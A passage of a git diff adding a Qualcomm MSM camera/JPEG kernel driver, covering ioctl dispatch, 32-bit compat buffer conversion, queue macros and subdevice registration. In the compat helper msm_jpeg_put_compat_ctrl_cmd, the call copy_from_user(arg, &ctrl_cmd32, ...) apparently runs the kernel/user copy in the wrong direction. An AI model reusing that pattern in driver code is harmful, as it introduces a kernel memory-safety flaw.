GFP_KERNEL); + if (!hw_cmds_p) { + JPEG_PR_ERR("%s:%d] no mem %d\n", __func__, __LINE__, len); + return -EFAULT; + } + + if (copy_from_user(hw_cmds_p, arg, len)) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + kfree(hw_cmds_p); + return -EFAULT; + } + + hw_cmd_p = (struct msm_jpeg_hw_cmd *) &(hw_cmds_p->hw_cmd); + + is_copy_to_user = msm_jpeg_hw_exec_cmds(hw_cmd_p, m, + pgmn_dev->res_size, pgmn_dev->base); + + if (is_copy_to_user >= 0) { + if (copy_to_user(arg, hw_cmds_p, len)) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + kfree(hw_cmds_p); + return -EFAULT; + } + } else { + kfree(hw_cmds_p); + return is_copy_to_user; + } + kfree(hw_cmds_p); + return 0; +} + +int msm_jpeg_start(struct msm_jpeg_device *pgmn_dev, void * __user arg) +{ + struct msm_jpeg_core_buf *buf_out; + struct msm_jpeg_core_buf *buf_out_free[2] = {NULL, NULL}; + int i, rc; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + + pgmn_dev->release_buf = 1; + for (i = 0; i < 2; i++) { + buf_out = msm_jpeg_q_out(&pgmn_dev->input_buf_q); + + if (buf_out) { + msm_jpeg_core_fe_buf_update(pgmn_dev, buf_out); + kfree(buf_out); + } else { + JPEG_DBG("%s:%d] no input buffer\n", __func__, + __LINE__); + break; + } + } + + for (i = 0; i < 2; i++) { + buf_out_free[i] = msm_jpeg_q_out(&pgmn_dev->output_buf_q); + + if (buf_out_free[i]) { + msm_jpeg_core_we_buf_update(pgmn_dev, buf_out_free[i]); + pgmn_dev->release_buf = 0; + } else { + JPEG_DBG("%s:%d] no output buffer\n", + __func__, __LINE__); + break; + } + } + + for (i = 0; i < 2; i++) + kfree(buf_out_free[i]); + + pgmn_dev->state = MSM_JPEG_EXECUTING; + JPEG_DBG_HIGH("%s:%d] START\n", __func__, __LINE__); + wmb(); + rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, arg); + wmb(); + + JPEG_DBG("%s:%d]", __func__, __LINE__); + return rc; +} + +int msm_jpeg_ioctl_reset(struct msm_jpeg_device *pgmn_dev, + void * __user arg) +{ + int rc; + struct msm_jpeg_ctrl_cmd ctrl_cmd; + + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + + if (pgmn_dev->state == MSM_JPEG_INIT) { + if (copy_from_user(&ctrl_cmd, arg, sizeof(ctrl_cmd))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + pgmn_dev->op_mode = ctrl_cmd.type; + + rc = msm_jpeg_core_reset(pgmn_dev, pgmn_dev->op_mode, pgmn_dev->base, + resource_size(pgmn_dev->mem)); + } else { + JPEG_PR_ERR("%s:%d] JPEG not been initialized Wrong state\n", + __func__, __LINE__); + rc = -1; + } + return rc; +} + +int msm_jpeg_ioctl_test_dump_region(struct msm_jpeg_device *pgmn_dev, + unsigned long arg) +{ + JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); + msm_jpeg_io_dump(pgmn_dev->base, JPEG_REG_SIZE); + return 0; +} + +int msm_jpeg_ioctl_set_clk_rate(struct msm_jpeg_device *pgmn_dev, + void * __user arg) +{ + long clk_rate; + int rc; + + if ((pgmn_dev->state != MSM_JPEG_INIT) && + (pgmn_dev->state != MSM_JPEG_RESET)) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + if (get_user(clk_rate, (unsigned int __user *)arg)) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + JPEG_DBG("%s:%d] Requested clk rate %ld\n", __func__, __LINE__, + clk_rate); + if (clk_rate < 0) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + rc = msm_jpeg_platform_set_clk_rate(pgmn_dev, clk_rate); + if (rc < 0) { + JPEG_PR_ERR("%s: clk failed rc = %d\n", __func__, rc); + return -EFAULT; + } + + return 0; +} +#ifdef CONFIG_COMPAT +int msm_jpeg_get_compat_ctrl_cmd(struct msm_jpeg_ctrl_cmd *ctrl_cmd, + void __user *arg) +{ + struct msm_jpeg_ctrl_cmd32 ctrl_cmd32; + unsigned long temp; + if (copy_from_user(&ctrl_cmd32, arg, + sizeof(struct msm_jpeg_ctrl_cmd32))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + ctrl_cmd->type = ctrl_cmd32.type; + ctrl_cmd->len = ctrl_cmd32.len; + temp = (unsigned long) ctrl_cmd32.value; + ctrl_cmd->value = (void *) temp; + + return 0; +} +int msm_jpeg_put_compat_ctrl_cmd(struct msm_jpeg_ctrl_cmd *ctrl_cmd, + void __user *arg) +{ + struct msm_jpeg_ctrl_cmd32 ctrl_cmd32; + unsigned long temp; + + ctrl_cmd32.type = ctrl_cmd->type; + ctrl_cmd32.len = ctrl_cmd->len; + temp = (unsigned long) ctrl_cmd->value; + ctrl_cmd32.value = (compat_uptr_t) temp; + + if (copy_from_user(arg, &ctrl_cmd32, + sizeof(struct msm_jpeg_ctrl_cmd32))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + + return 0; +} + +int msm_jpeg_get_jpeg_buf(struct msm_jpeg_buf *jpeg_buf, + void __user *arg) +{ + struct msm_jpeg_buf32 jpeg_buf32; + unsigned long temp; + if (copy_from_user(&jpeg_buf32, arg, sizeof(struct msm_jpeg_buf32))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + jpeg_buf->type = jpeg_buf32.type; + jpeg_buf->fd = jpeg_buf32.fd; + temp = (unsigned long) jpeg_buf32.vaddr; + jpeg_buf->vaddr = (void *) temp; + jpeg_buf->y_off = jpeg_buf32.y_off; + jpeg_buf->y_len = jpeg_buf32.y_len; + jpeg_buf->framedone_len = jpeg_buf32.framedone_len; + jpeg_buf->cbcr_off = jpeg_buf32.cbcr_off; + jpeg_buf->cbcr_len = jpeg_buf32.cbcr_len; + jpeg_buf->num_of_mcu_rows = jpeg_buf32.num_of_mcu_rows; + jpeg_buf->offset = jpeg_buf32.offset; + jpeg_buf->pln2_off = jpeg_buf32.pln2_off; + jpeg_buf->pln2_len = jpeg_buf32.pln2_len; + + return 0; +} +int msm_jpeg_put_jpeg_buf(struct msm_jpeg_buf *jpeg_buf, + void __user *arg) +{ + struct msm_jpeg_buf32 jpeg_buf32; + unsigned long temp; + + jpeg_buf32.type = jpeg_buf->type; + jpeg_buf32.fd = jpeg_buf->fd; + temp = (unsigned long) jpeg_buf->vaddr; + jpeg_buf32.vaddr = (compat_uptr_t) temp; + jpeg_buf32.y_off = jpeg_buf->y_off; + jpeg_buf32.y_len = jpeg_buf->y_len; + jpeg_buf32.framedone_len = jpeg_buf->framedone_len; + jpeg_buf32.cbcr_off = jpeg_buf->cbcr_off; + jpeg_buf32.cbcr_len = jpeg_buf->cbcr_len; + jpeg_buf32.num_of_mcu_rows = jpeg_buf->num_of_mcu_rows; + jpeg_buf32.offset = jpeg_buf->offset; + jpeg_buf32.pln2_off = jpeg_buf->pln2_off; + jpeg_buf32.pln2_len = jpeg_buf->pln2_len; + + if (copy_to_user(arg, &jpeg_buf32, sizeof(struct msm_jpeg_buf32))) { + JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); + return -EFAULT; + } + return 0; +} + +long __msm_jpeg_compat_ioctl(struct msm_jpeg_device *pgmn_dev, + unsigned int cmd, unsigned long arg) +{ + int rc = 0; + struct msm_jpeg_ctrl_cmd ctrl_cmd; + struct msm_jpeg_buf jpeg_buf; + switch (cmd) { + case MSM_JPEG_IOCTL_GET_HW_VERSION: + JPEG_DBG("%s:%d] VERSION 1\n", __func__, __LINE__); + rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_RESET: + rc = msm_jpeg_ioctl_reset(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_RESET32: + rc = msm_jpeg_get_compat_ctrl_cmd(&ctrl_cmd, + (void __user *) arg); + if (rc < 0) + break; + rc = msm_jpeg_ioctl_reset(pgmn_dev, (void __user *) &ctrl_cmd); + break; + + case MSM_JPEG_IOCTL_STOP: + rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); + pgmn_dev->state = MSM_JPEG_STOPPED; + break; + + case MSM_JPEG_IOCTL_START: + rc = msm_jpeg_start(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE: + rc = msm_jpeg_input_buf_enqueue(pgmn_dev, + (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE32: + rc = msm_jpeg_get_jpeg_buf(&jpeg_buf, (void __user *) arg); + if (rc < 0) + break; + rc = msm_jpeg_input_buf_enqueue(pgmn_dev, + (void __user *) &jpeg_buf); + break; + + case MSM_JPEG_IOCTL_INPUT_GET: + rc = msm_jpeg_input_get(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_INPUT_GET32: + rc = msm_jpeg_input_get(pgmn_dev, (void __user *) &jpeg_buf); + if (rc < 0) + break; + rc = msm_jpeg_put_jpeg_buf(&jpeg_buf, (void __user *) arg); + + break; + + case MSM_JPEG_IOCTL_INPUT_GET_UNBLOCK: + rc = msm_jpeg_input_get_unblock(pgmn_dev); + break; + + case MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE: + rc = msm_jpeg_output_buf_enqueue(pgmn_dev, + (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE32: + rc = msm_jpeg_get_jpeg_buf(&jpeg_buf, (void __user *) arg); + if (rc < 0) + break; + rc = msm_jpeg_output_buf_enqueue(pgmn_dev, + (void __user *) &jpeg_buf); + break; + + case MSM_JPEG_IOCTL_OUTPUT_GET: + rc = msm_jpeg_output_get(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_OUTPUT_GET32: + rc = msm_jpeg_output_get(pgmn_dev, (void __user *) &jpeg_buf); + if (rc < 0) + break; + rc = msm_jpeg_put_jpeg_buf(&jpeg_buf, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_OUTPUT_GET_UNBLOCK: + rc = msm_jpeg_output_get_unblock(pgmn_dev); + break; + + case MSM_JPEG_IOCTL_EVT_GET: + rc = msm_jpeg_evt_get(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_EVT_GET32: + rc = msm_jpeg_evt_get(pgmn_dev, (void __user *) &ctrl_cmd); + if (rc < 0) + break; + msm_jpeg_put_compat_ctrl_cmd(&ctrl_cmd, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_EVT_GET_UNBLOCK: + rc = msm_jpeg_evt_get_unblock(pgmn_dev); + break; + + case MSM_JPEG_IOCTL_HW_CMD: + rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_HW_CMDS: + rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_TEST_DUMP_REGION: + rc = msm_jpeg_ioctl_test_dump_region(pgmn_dev, arg); + break; + + case MSM_JPEG_IOCTL_TEST_DUMP_REGION32: + rc = msm_jpeg_ioctl_test_dump_region(pgmn_dev, arg); + break; + + case MSM_JPEG_IOCTL_SET_CLK_RATE: + rc = msm_jpeg_ioctl_set_clk_rate(pgmn_dev, + (void __user *) arg); + break; + + default: + JPEG_PR_ERR(KERN_INFO "%s:%d] cmd = %d not supported\n", + __func__, __LINE__, _IOC_NR(cmd)); + rc = -EINVAL; + break; + } + return rc; +} +#else +long __msm_jpeg_compat_ioctl(struct msm_jpeg_device *pgmn_dev, + unsigned int cmd, unsigned long arg) +{ + return 0; +} +#endif + +long __msm_jpeg_ioctl(struct msm_jpeg_device *pgmn_dev, + unsigned int cmd, unsigned long arg) +{ + int rc = 0; + switch (cmd) { + case MSM_JPEG_IOCTL_GET_HW_VERSION: + JPEG_DBG("%s:%d] VERSION 1\n", __func__, __LINE__); + rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_RESET: + rc = msm_jpeg_ioctl_reset(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_STOP: + rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); + pgmn_dev->state = MSM_JPEG_STOPPED; + break; + + case MSM_JPEG_IOCTL_START: + rc = msm_jpeg_start(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE: + rc = msm_jpeg_input_buf_enqueue(pgmn_dev, + (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_INPUT_GET: + rc = msm_jpeg_input_get(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_INPUT_GET_UNBLOCK: + rc = msm_jpeg_input_get_unblock(pgmn_dev); + break; + + case MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE: + rc = msm_jpeg_output_buf_enqueue(pgmn_dev, + (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_OUTPUT_GET: + rc = msm_jpeg_output_get(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_OUTPUT_GET_UNBLOCK: + rc = msm_jpeg_output_get_unblock(pgmn_dev); + break; + + case MSM_JPEG_IOCTL_EVT_GET: + rc = msm_jpeg_evt_get(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_EVT_GET_UNBLOCK: + rc = msm_jpeg_evt_get_unblock(pgmn_dev); + break; + + case MSM_JPEG_IOCTL_HW_CMD: + rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_HW_CMDS: + rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); + break; + + case MSM_JPEG_IOCTL_TEST_DUMP_REGION: + rc = msm_jpeg_ioctl_test_dump_region(pgmn_dev, arg); + break; + + case MSM_JPEG_IOCTL_SET_CLK_RATE: + rc = msm_jpeg_ioctl_set_clk_rate(pgmn_dev, (void __user *) arg); + break; + default: + pr_err_ratelimited("%s:%d] cmd = %d not supported\n", + __func__, __LINE__, _IOC_NR(cmd)); + rc = -EINVAL; + break; + } + return rc; +} +#ifdef CONFIG_MSM_IOMMU +static int camera_register_domain(void) +{ + struct msm_iova_partition camera_fw_partition = { + .start = SZ_128K, + .size = SZ_2G - SZ_128K, + }; + + struct msm_iova_layout camera_fw_layout = { + .partitions = &camera_fw_partition, + .npartitions = 1, + .client_name = "camera_jpeg", + .domain_flags = 0, + }; + return msm_register_domain(&camera_fw_layout); +} +#endif + +int __msm_jpeg_init(struct msm_jpeg_device *pgmn_dev) +{ + int rc = 0; + int idx = 0; +#ifdef CONFIG_MSM_IOMMU + int i = 0, j = 0; + char *iommu_name[JPEG_DEV_CNT] = {"jpeg_enc0", "jpeg_enc1", + "jpeg_dec"}; +#endif + + mutex_init(&pgmn_dev->lock); + + pr_err("%s:%d] Jpeg Device id %d", __func__, __LINE__, + pgmn_dev->pdev->id); + idx = pgmn_dev->pdev->id; + pgmn_dev->idx = idx; + pgmn_dev->iommu_cnt = 1; + pgmn_dev->decode_flag = (idx == JPEG_DEC_ID); + + msm_jpeg_q_init("evt_q", &pgmn_dev->evt_q); + msm_jpeg_q_init("output_rtn_q", &pgmn_dev->output_rtn_q); + msm_jpeg_q_init("output_buf_q", &pgmn_dev->output_buf_q); + msm_jpeg_q_init("input_rtn_q", &pgmn_dev->input_rtn_q); + msm_jpeg_q_init("input_buf_q", &pgmn_dev->input_buf_q); + +#ifdef CONFIG_MSM_IOMMU + j = (pgmn_dev->iommu_cnt <= 1) ? idx : 0; + /*get device context for IOMMU*/ + for (i = 0; i < pgmn_dev->iommu_cnt; i++) { + pgmn_dev->iommu_ctx_arr[i] = msm_iommu_get_ctx(iommu_name[j]); + JPEG_DBG("%s:%d] name %s", __func__, __LINE__, iommu_name[j]); + JPEG_DBG("%s:%d] ctx 0x%x", __func__, __LINE__, + (uint32_t)pgmn_dev->iommu_ctx_arr[i]); + if (!pgmn_dev->iommu_ctx_arr[i]) { + JPEG_PR_ERR("%s: No iommu fw context found\n", + __func__); + goto error; + } + j++; + } + pgmn_dev->domain_num = camera_register_domain(); + JPEG_DBG("%s:%d] dom_num 0x%x", __func__, __LINE__, + pgmn_dev->domain_num); + if (pgmn_dev->domain_num < 0) { + JPEG_PR_ERR("%s: could not register domain\n", __func__); + goto error; + } + pgmn_dev->domain = msm_get_iommu_domain(pgmn_dev->domain_num); + JPEG_DBG("%s:%d] dom 0x%x", __func__, __LINE__, + (uint32_t)pgmn_dev->domain); + if (!pgmn_dev->domain) { + JPEG_PR_ERR("%s: cannot find domain\n", __func__); + goto error; + } +#endif + + return rc; +#ifdef CONFIG_MSM_IOMMU +error: +#endif + mutex_destroy(&pgmn_dev->lock); + return -EFAULT; +} + +int __msm_jpeg_exit(struct msm_jpeg_device *pgmn_dev) +{ + mutex_destroy(&pgmn_dev->lock); + kfree(pgmn_dev); + return 0; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h new file mode 100644 index 0000000000000..1698f17175c05 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h @@ -0,0 +1,127 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + + + +#ifndef MSM_JPEG_SYNC_H +#define MSM_JPEG_SYNC_H + +#include +#include +#include +#include +#include +#include +#include "msm_jpeg_hw.h" + +#define JPEG_8974_V1 0x10000000 +#define JPEG_8974_V2 0x10010000 + +enum msm_jpeg_state { + MSM_JPEG_INIT, + MSM_JPEG_RESET, + MSM_JPEG_EXECUTING, + MSM_JPEG_STOPPED, + MSM_JPEG_IDLE +}; + +struct msm_jpeg_q { + char const *name; + struct list_head q; + spinlock_t lck; + wait_queue_head_t wait; + int unblck; +}; + +struct msm_jpeg_q_entry { + struct list_head list; + void *data; +}; + +struct msm_jpeg_device { + struct platform_device *pdev; + struct resource *mem; + int irq; + void *base; + struct clk *jpeg_clk[5]; + struct regulator *jpeg_fs; + uint32_t hw_version; + + struct device *device; + struct cdev cdev; + struct mutex lock; + char open_count; + uint8_t op_mode; + + /* event queue including frame done & err indications + */ + struct msm_jpeg_q evt_q; + + /* output return queue + */ + struct msm_jpeg_q output_rtn_q; + + /* output buf queue + */ + struct msm_jpeg_q output_buf_q; + + /* input return queue + */ + struct msm_jpeg_q input_rtn_q; + + /* input buf queue + */ + struct msm_jpeg_q input_buf_q; + + struct v4l2_subdev subdev; + + struct class *msm_jpeg_class; + + dev_t msm_jpeg_devno; + + /*iommu domain and context*/ + int domain_num; + int idx; + struct iommu_domain *domain; + struct device *iommu_ctx_arr[3]; + int iommu_cnt; + int decode_flag; + struct ion_client *jpeg_client; + void *jpeg_vbif; + int release_buf; + struct msm_jpeg_hw_pingpong fe_pingpong_buf; + struct msm_jpeg_hw_pingpong we_pingpong_buf; + int we_pingpong_index; + int reset_done_ack; + spinlock_t reset_lock; + wait_queue_head_t reset_wait; + uint32_t res_size; + uint32_t jpeg_bus_client; + uint32_t num_clk; + enum msm_jpeg_state state; +}; + +int __msm_jpeg_open(struct msm_jpeg_device *pgmn_dev); +int __msm_jpeg_release(struct msm_jpeg_device *pgmn_dev); + +long __msm_jpeg_ioctl(struct msm_jpeg_device *pgmn_dev, + unsigned int cmd, unsigned long arg); + +#ifdef CONFIG_COMPAT +long __msm_jpeg_compat_ioctl(struct msm_jpeg_device *pgmn_dev, + unsigned int cmd, unsigned long arg); +#endif + +int __msm_jpeg_init(struct msm_jpeg_device *pgmn_dev); +int __msm_jpeg_exit(struct msm_jpeg_device *pgmn_dev); + +#endif /* MSM_JPEG_SYNC_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm.c b/drivers/media/platform/msm/camera_wt88047_v2/msm.c new file mode 100644 index 0000000000000..2018f720c4405 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm.c @@ -0,0 +1,1154 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm.h" +#include "msm_vb2.h" +#include "msm_sd.h" +#include + + +static struct v4l2_device *msm_v4l2_dev; +static struct list_head ordered_sd_list; + +static struct pm_qos_request msm_v4l2_pm_qos_request; + +static struct msm_queue_head *msm_session_q; + +/* config node envent queue */ +static struct v4l2_fh *msm_eventq; +spinlock_t msm_eventq_lock; + +static struct pid *msm_pid; +spinlock_t msm_pid_lock; + +#define msm_dequeue(queue, type, member) ({ \ + unsigned long flags; \ + struct msm_queue_head *__q = (queue); \ + type *node = 0; \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + __q->len--; \ + node = list_first_entry(&__q->list, \ + type, member); \ + if ((node) && (&node->member) && (&node->member.next)) \ + list_del_init(&node->member); \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ + node; \ +}) + +#define msm_delete_sd_entry(queue, type, member, q_node) ({ \ + unsigned long flags; \ + struct msm_queue_head *__q = (queue); \ + type *node = 0; \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + list_for_each_entry(node, &__q->list, member) \ + if (node->sd == q_node) { \ + __q->len--; \ + list_del_init(&node->member); \ + kzfree(node); \ + break; \ + } \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ +}) + +#define msm_delete_entry(queue, type, member, q_node) ({ \ + unsigned long flags; \ + struct msm_queue_head *__q = (queue); \ + type *node = 0; \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + list_for_each_entry(node, &__q->list, member) \ + if (node == q_node) { \ + __q->len--; \ + list_del_init(&node->member); \ + kzfree(node); \ + break; \ + } \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ +}) + +#define msm_queue_drain(queue, type, member) do { \ + unsigned long flags; \ + struct msm_queue_head *__q = (queue); \ + type *node; \ + spin_lock_irqsave(&__q->lock, flags); \ + while (!list_empty(&__q->list)) { \ + __q->len--; \ + node = list_first_entry(&__q->list, \ + type, member); \ + if (node) { \ + if (&node->member) \ + list_del_init(&node->member); \ + kzfree(node); \ + } \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ +} while (0); + +typedef int (*msm_queue_func)(void *d1, void *d2); +#define msm_queue_traverse_action(queue, type, member, func, data) do {\ + unsigned long flags; \ + struct msm_queue_head *__q = (queue); \ + type *node = 0; \ + msm_queue_func __f = (func); \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + list_for_each_entry(node, &__q->list, member) \ + if (node && __f) { \ + __f(node, data); \ + } \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ +} while (0) + +typedef int (*msm_queue_find_func)(void *d1, void *d2); +#define msm_queue_find(queue, type, member, func, data) ({\ + unsigned long flags; \ + struct msm_queue_head *__q = (queue); \ + type *node = 0; \ + typeof(node) __ret = NULL; \ + msm_queue_find_func __f = (func); \ + spin_lock_irqsave(&__q->lock, flags); \ + if (!list_empty(&__q->list)) { \ + list_for_each_entry(node, &__q->list, member) \ + if ((__f) && __f(node, data)) { \ + __ret = node; \ + break; \ + } \ + } \ + spin_unlock_irqrestore(&__q->lock, flags); \ + __ret; \ +}) + +static void msm_init_queue(struct msm_queue_head *qhead) +{ + BUG_ON(!qhead); + + INIT_LIST_HEAD(&qhead->list); + spin_lock_init(&qhead->lock); + qhead->len = 0; + qhead->max = 0; +} + +static void msm_enqueue(struct msm_queue_head *qhead, + struct list_head *entry) +{ + unsigned long flags; + spin_lock_irqsave(&qhead->lock, flags); + qhead->len++; + if (qhead->len > qhead->max) + qhead->max = qhead->len; + list_add_tail(entry, &qhead->list); + spin_unlock_irqrestore(&qhead->lock, flags); +} + +/* index = session id */ +static inline int __msm_queue_find_session(void *d1, void *d2) +{ + struct msm_session *session = d1; + return (session->session_id == *(unsigned int *)d2) ? 1 : 0; +} + +static inline int __msm_queue_find_stream(void *d1, void *d2) +{ + struct msm_stream *stream = d1; + return (stream->stream_id == *(unsigned int *)d2) ? 1 : 0; +} + +static inline int __msm_queue_find_command_ack_q(void *d1, void *d2) +{ + struct msm_command_ack *ack = d1; + return (ack->stream_id == *(unsigned int *)d2) ? 1 : 0; +} + +static void msm_pm_qos_add_request(void) +{ + pr_info("%s: add request",__func__); + pm_qos_add_request(&msm_v4l2_pm_qos_request, PM_QOS_CPU_DMA_LATENCY, + PM_QOS_DEFAULT_VALUE); +} + +static void msm_pm_qos_remove_request(void) +{ + pr_info("%s: remove request",__func__); + pm_qos_remove_request(&msm_v4l2_pm_qos_request); +} + +void msm_pm_qos_update_request(int val) +{ + pr_info("%s: update request %d",__func__,val); + pm_qos_update_request(&msm_v4l2_pm_qos_request, val); +} + +struct msm_session *msm_session_find(unsigned int session_id) +{ + struct msm_session *session; + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (WARN_ON(!session)) + return NULL; + return session; +} + +int msm_create_stream(unsigned int session_id, + unsigned int stream_id, struct vb2_queue *q) +{ + struct msm_session *session; + struct msm_stream *stream; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) + return -EINVAL; + + stream = kzalloc(sizeof(*stream), GFP_KERNEL); + if (!stream) + return -ENOMEM; + + stream->stream_id = stream_id; + stream->vb2_q = q; + spin_lock_init(&stream->stream_lock); + msm_enqueue(&session->stream_q, &stream->list); + session->stream_q.len++; + + INIT_LIST_HEAD(&stream->queued_list); + + return 0; +} + +void msm_delete_stream(unsigned int session_id, unsigned int stream_id) +{ + struct msm_session *session = NULL; + struct msm_stream *stream = NULL; + unsigned long flags; + + session = msm_queue_find(msm_session_q, struct msm_session, + list, __msm_queue_find_session, &session_id); + if (!session) + return; + + stream = msm_queue_find(&session->stream_q, struct msm_stream, + list, __msm_queue_find_stream, &stream_id); + if (!stream) + return; + spin_lock_irqsave(&(session->stream_q.lock), flags); + list_del_init(&stream->list); + session->stream_q.len--; + spin_unlock_irqrestore(&(session->stream_q.lock), flags); + kzfree(stream); +} + +static void msm_sd_unregister_subdev(struct video_device *vdev) +{ + struct v4l2_subdev *sd = video_get_drvdata(vdev); + sd->devnode = NULL; + kzfree(vdev); +} + +static inline int __msm_sd_register_subdev(struct v4l2_subdev *sd) +{ + int rc = 0; + struct video_device *vdev; + + if (!msm_v4l2_dev || !sd || !sd->name[0]) + return -EINVAL; + + rc = v4l2_device_register_subdev(msm_v4l2_dev, sd); + if (rc < 0) + return rc; + + /* Register a device node for every subdev marked with the + * V4L2_SUBDEV_FL_HAS_DEVNODE flag. + */ + if (!(sd->flags & V4L2_SUBDEV_FL_HAS_DEVNODE)) + return rc; + + vdev = kzalloc(sizeof(*vdev), GFP_KERNEL); + if (!vdev) { + rc = -ENOMEM; + goto clean_up; + } + + video_set_drvdata(vdev, sd); + strlcpy(vdev->name, sd->name, sizeof(vdev->name)); + vdev->v4l2_dev = msm_v4l2_dev; + vdev->fops = &v4l2_subdev_fops; + vdev->release = msm_sd_unregister_subdev; + rc = __video_register_device(vdev, VFL_TYPE_SUBDEV, -1, 1, + sd->owner); + if (rc < 0) { + kzfree(vdev); + goto clean_up; + } + +#if defined(CONFIG_MEDIA_CONTROLLER) + sd->entity.info.v4l.major = VIDEO_MAJOR; + sd->entity.info.v4l.minor = vdev->minor; + sd->entity.name = video_device_node_name(vdev); +#endif + sd->devnode = vdev; + return 0; + +clean_up: + if (sd->devnode) + video_unregister_device(sd->devnode); + return rc; +} + +static void msm_add_sd_in_position(struct msm_sd_subdev *msm_subdev, + struct list_head *sd_list) +{ + struct msm_sd_subdev *temp_sd; + + list_for_each_entry(temp_sd, sd_list, list) { + if (msm_subdev->close_seq < temp_sd->close_seq) { + list_add_tail(&msm_subdev->list, &temp_sd->list); + return; + } + } + list_add_tail(&msm_subdev->list, sd_list); +} + +int msm_sd_register(struct msm_sd_subdev *msm_subdev) +{ + if (WARN_ON(!msm_subdev)) + return -EINVAL; + + if (WARN_ON(!msm_v4l2_dev) || WARN_ON(!msm_v4l2_dev->dev)) + return -EIO; + + msm_add_sd_in_position(msm_subdev, &ordered_sd_list); + return __msm_sd_register_subdev(&msm_subdev->sd); +} + +int msm_sd_unregister(struct msm_sd_subdev *msm_subdev) +{ + if (WARN_ON(!msm_subdev)) + return -EINVAL; + + v4l2_device_unregister_subdev(&msm_subdev->sd); + return 0; +} + +int msm_create_session(unsigned int session_id, struct video_device *vdev) +{ + struct msm_session *session = NULL; + + if (!msm_session_q) { 